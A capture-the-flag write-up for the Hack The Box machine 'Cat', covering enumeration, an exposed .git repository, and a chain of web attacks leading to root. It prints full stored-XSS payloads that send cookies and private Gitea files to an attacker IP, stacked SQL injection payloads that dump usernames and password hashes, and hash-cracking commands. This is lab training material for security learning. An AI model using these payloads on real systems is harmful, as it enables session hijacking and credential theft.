Medium

Cat [45 pts]

 Challenge Description
Challenge Description
Points: 45
Solves: 2683
  • enumerate the page to find hidden .git directory where you can review the source code of the application
  • find XSS to get the admin token and SQLi to get username and password for the first user of the box
  • the user is in special group and can read logs, use this to leak the other user password
  • find that Gitea is running internally, which has another XSS vulnerability to leak root password

Enumeration

Starting with nmap

kali@kali:~/HTB/cat $ mkdir nmap
kali@kali:~/HTB/cat $ nmap -sC -sV -oA nmap/cat $IP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-24 17:45 EST
Nmap scan report for 10.10.11.53
Host is up (0.64s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.96 seconds

Only one service is running besides SSH and it’s a HTTP server. Adding cat.htb to our /etc/hosts file, so we can access the website.

sudo bash -c "echo -e \"10.10.11.53\tcat.htb\" >> /etc/hosts"

Home page … there is not much to do when not logged in.

Account registration

After creating new account in we can access Contest tab

At first I tried probing for file upload vuln and SQLi, but I quickly noticed that the fields have some kind of blacklist on them as it responded with Your entry contains invalid characters.. I ran ffuf to search for files with .php extensions.

kali@kali:~/HTB/cat $ ffuf -u http://cat.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -e php -fc 403

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cat.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
 :: Extensions       : php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 403
________________________________________________

index.php               [Status: 200, Size: 3075, Words: 870, Lines: 130, Duration: 81ms]
admin.php               [Status: 302, Size: 1, Words: 1, Lines: 2, Duration: 86ms]
config.php              [Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 50ms]
logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 48ms]
vote.php                [Status: 200, Size: 1242, Words: 319, Lines: 42, Duration: 41ms]
.                       [Status: 200, Size: 3075, Words: 870, Lines: 130, Duration: 53ms]
join.php                [Status: 200, Size: 4004, Words: 997, Lines: 141, Duration: 52ms]
.git                    [Status: 301, Size: 301, Words: 20, Lines: 10, Duration: 46ms]
index.php               [Status: 200, Size: 3075, Words: 870, Lines: 130, Duration: 46ms]
contest.php             [Status: 302, Size: 1, Words: 1, Lines: 2, Duration: 44ms]
admin.php               [Status: 302, Size: 1, Words: 1, Lines: 2, Duration: 42ms]
winners.php             [Status: 200, Size: 5082, Words: 1554, Lines: 197, Duration: 51ms]
:: Progress: [34258/34258] :: Job [1/1] :: 829 req/sec :: Duration: [0:00:51] :: Errors: 0 ::

.git is accessible directory. We can download all files with https://github.com/arthaud/git-dumper.git

kali@kali:~/HTB/cat $ mkdir catgit                 
kali@kali:~/HTB/cat $ git-dumper http://cat.htb/.git/ catgit 

[-] Testing http://cat.htb/.git/HEAD [200]
[-] Testing http://cat.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://cat.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://cat.htb/.git/description [200]
[-] Fetching http://cat.htb/.git/hooks/commit-msg.sample [200]
...

Now we have access to the source code.

kali@kali:~/HTB/cat/catgit (git)-[master] $ ls 

accept_cat.php  admin.php  config.php  contest.php  css  delete_cat.php  img  img_winners  index.php  join.php  logout.php  view_cat.php  vote.php  winners  winners.php

Web exploitation

When examining the source code, I noticed that most of the SQL queries used prepared statements, except the one in accept_cat.php

$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";

This can lead to SQLi with payload such as test')+;delete+from+cats--. When I searched, where is this file included, I noticed that admin.php sends request to the endpoint within the acceptCat function.


...
	<button class="accept-button" onclick="acceptCat('<?php echo htmlspecialchars($cat['cat_name']); ?>', <?php echo htmlspecialchars($cat['cat_id']); ?>)">Accept</button>
...

function acceptCat(catName, catId) {
       if (confirm("Are you sure you want to accept this cat?")) {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "accept_cat.php", true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    window.location.reload();
                }
            };
            xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);
        }
    }

It uses htmlspecialchars to prevent special characters from the cat name (which can lead to XSS), but it does not stop the following SQLi. But there isn’t much that we can do with it for now (we can’t view the responses from the database). When looking around the app a bit more I also noticed that when the admin tries to inspect the cat information in view_cat.php, username of the owner is also displayed, which is not checked at all during the registration phase.

<strong>Owner:</strong> <?php echo $cat['username']; ?><br>

So we can probably introduce some XSS when the admin tries to inspect the cat to leak the admin PHP session cookie. Let’s try registering with the following username:

<img src=x onerror="fetch('http://10.10.16.153:8888/cookie?=' + encodeURIComponent(document.cookie))">

Then create a post in contest to see, if admin accesses it. Before clicking submit remember to start HTTP server to listen for the response

kali@kali:~/HTB/cat/catgit (git)-[master] $ python3 -m http.server 8888

Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.53 - - [25/Feb/2025 13:21:01] code 404, message File not found
10.10.11.53 - - [25/Feb/2025 13:21:01] "GET /cookie?=PHPSESSID%3Djbjr3f29ffkutrcj41ikrhg908 HTTP/1.1" 404 -

Okay we leaked the admin cookie, now we can access anything with it by simply replacing our cookie with it

Now we can probably do a post directly to the accept_cat.php to perform our SQLi? This payload works but is a bit funky (couldn’t get it to work alone, I had to create a cat manually and execute this right after to get it to work)

catId=1&catName=');+insert+into+cats+(cat_name,age,birthdate,weight,photo_path,owner_username)+values+((select+password+from+users+where+username='axel'),'1','1','1','1','1');+--+

We managed to get a pw hash for user axel: d1bbba3670feb9435c9841e46e60ee2f

I couldn’t crack this hash in crackstation so I assumed there might be more users. Let’s fetch them all at once

catId=1&catName=');+insert+into+cats+(cat_name,age,birthdate,weight,photo_path,owner_username)+values+((SELECT+GROUP_CONCAT(username,'|')+from+users),'1','1','1','1','1');+--+

and their passwords

catId=1&catName=');+insert+into+cats+(cat_name,age,birthdate,weight,photo_path,owner_username)+values+((SELECT+GROUP_CONCAT(password,'|')+from+users),'1','1','1','1','1');+--+

and we end up with the following list

axel:d1bbba3670feb9435c9841e46e60ee2f
rosa:ac369922d560f17d6eeb8b2c7dec498c
robert:42846631708f69c00ec0c0a8aa4a92ad
fabian:39e153e825c4a3d314a0dc7f7475ddbe
jerryson:781593e060f8d065cd7281c5ec5b4b86
larry:1b6dce240bbfbc0905a664ad199e18f8
royer:c598f6b844a36fa7836fba0835f1f6
peter:e41ccefa439fc454f7eadbf1f139ed8a
angel:24a8ec003ac2e1b3c5953a6f95f8f565
jobert:88e4dceccd48820cf77b5cf6c08698ad

We can either use Hashcat to crack them (or use crackstation)

hashcat -a 0 -m 0 hashes /usr/share/wordlists/rockyou.txt --username

I managed to crack the password for user rosa which is soyunaprincesarosa. Now we can access the machine as user rosa

Pivoting

Looking around the box, we can find that something is running on port 3000

rosa@cat:~$ netstat -tunl

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:36247         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:41569         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:46063         0.0.0.0:*               LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN     
udp        0      0 127.0.0.53:53           0.0.0.0:*                         

Let’s create a tunnel and access it

kali@kali:~/HTB/cat $ ssh -L 0.0.0.0:8000:localhost:3000 rosa@$IP

It’s a Gitea application

Going back to the box since I can’t do much here I ran linpeas and got something interesting. Rosa is in adm group, which a group for system monitoring tasks - they usually have access to logs. We can list which files can we access with file

rosa@cat:~$ find /var/log/ -group adm 2>/dev/null

...
/var/log/apache2/access.log
/var/log/apache2/access.log.2.gz
/var/log/apache2/error.log.1
/var/log/apache2/error.log
/var/log/apache2/error.log.2.gz
/var/log/apache2/other_vhosts_access.log
/var/log/apache2/access.log.1
...

Since we know, that axel is accessing the HTTP server to validate requests, maybe we can see his credentials when logging in.

rosa@cat:~$ cat /var/log/apache2/access.log | grep axel -m1

127.0.0.1 - - [26/Feb/2025:04:00:59 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"

Now we have access to the axel user with password aNdZwgC4tI9gnVXv_e3Q on the box and we can get the user flag

rosa@cat:~$ su axel
Password: 
axel@cat:/home/rosa$ cd ~
axel@cat:~$ cat user.txt 
22e1ca5...

Now we can also read what email does this user have.

From rosa@cat.htb  Sat Sep 28 04:51:50 2024
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb  Sat Sep 28 05:05:28 2024
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

Getting back to Gitea

We can also login with axel to the Gitea application. This version is vulnerable to XSS: Gitea 1.22.0 - Stored XSS - Multiple webapps Exploit

## Steps to Reproduce
1. Log in to the application.
2. Create a new repository or modify an existing repository by clicking the Settings button from the `$username/$repo_name/settings` endpoint.
3. In the Description field, input the following payload:

    <a href=javascript:alert()>XSS test</a>

4. Save the changes.
5. Upon clicking the repository description, the payload was successfully injected in the Description field. By clicking on the message, an alert box will appear, indicating the execution of the injected script.

This is most likely the correct thing to do, as the email mentioned to use description and that it will be checked. I modified the payload to ping us back on port 9000:

<a href="javascript:fetch('http://10.10.16.153:9000/test')">Click Me</a>

Next, created a repo called CatThing and send email to jobert@localhost with

axel@cat:~$ ls -la /var/mail
total 40
drwxrwsrwt  2 root   mail  4096 Feb 26 15:35 .
drwxr-xr-x 13 root   root  4096 Jun  6  2024 ..
-rw-rw----  1 axel   mail  1961 Jan 14 16:49 axel
-rw-rw----  1 jobert mail     0 Feb 26 15:32 jobert
-rw-------  1 root   mail 21980 Feb 26 15:35 root

axel@cat:~$ echo "http://localhost:3000/axel/CatThing" | sendmail jobert@localhost

axel@cat:~$ ls -la /var/mail
total 44
drwxrwsrwt  2 root   mail  4096 Feb 26 15:36 .
drwxr-xr-x 13 root   root  4096 Jun  6  2024 ..
-rw-rw----  1 axel   mail  1961 Jan 14 16:49 axel
-rw-rw----  1 jobert mail   526 Feb 26 15:36 jobert
-rw-------  1 root   mail 21980 Feb 26 15:35 root

You can also confirm that the email has been sent by looking at /var/mail/jobert filesize

Not working?

At first, I could not get a response back and I was stuck here for quite a bit. I saw a reddit post about the box and some user suggested to upload a file. I was wondering why was it necessary. Then it clicked … Assume that you have 2 repositories (test and test2), where the second one contains description text. Now when you don’t upload any files into the repository (in my case test), you will get a quick guide screen first, which does not show the description.

However, if you upload any files into the repository (test2 in my case), the description is shown. So you must add some files into the repo for the exploit to work.

Going back to our exploit, I uploaded an empty file and after some time, we get a ping back

kali@kali:~/HTB/cat (git)-[master] $ python3 -m http.server -b 0.0.0.0 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
10.10.11.53 - - [26/Feb/2025 10:36:48] code 404, message File not found
10.10.11.53 - - [26/Feb/2025 10:36:48] "GET /test HTTP/1.1" 404 -

Okay so the XSS works. Now we can use the second email to extract some useful files, like http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md (which isn’t accessible by axel). Time to rework the payload:

  • first fetch the administrator README.md
  • send it back to our server (encoded)
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => {fetch('http://10.10.16.153:9000/page?'+encodeURIComponent(data))})">Click Me</a>

This returned the following response:

Employee Management
Site under construction. Authorized user: admin. No visibility or updates visible to employees.

No luck here, but maybe there is some other pages we can access? For example index.php since most pages here use php?

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => {fetch('http://10.10.16.153:9000/page?'+encodeURIComponent(data))})">Click Me</a>

This returned much bigger response, so it’s probably something useful:

<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

header('Location: dashboard.php');
exit;
?>

We recovered password IKw75eR0MR7CMIxhH0 for admin user. When randomly trying out the password for root it worked!

axel@cat:~$ su -
Password: 
root@cat:~# ls
root.txt  scripts
root@cat:~# cat root.txt 
fd892dd3918a...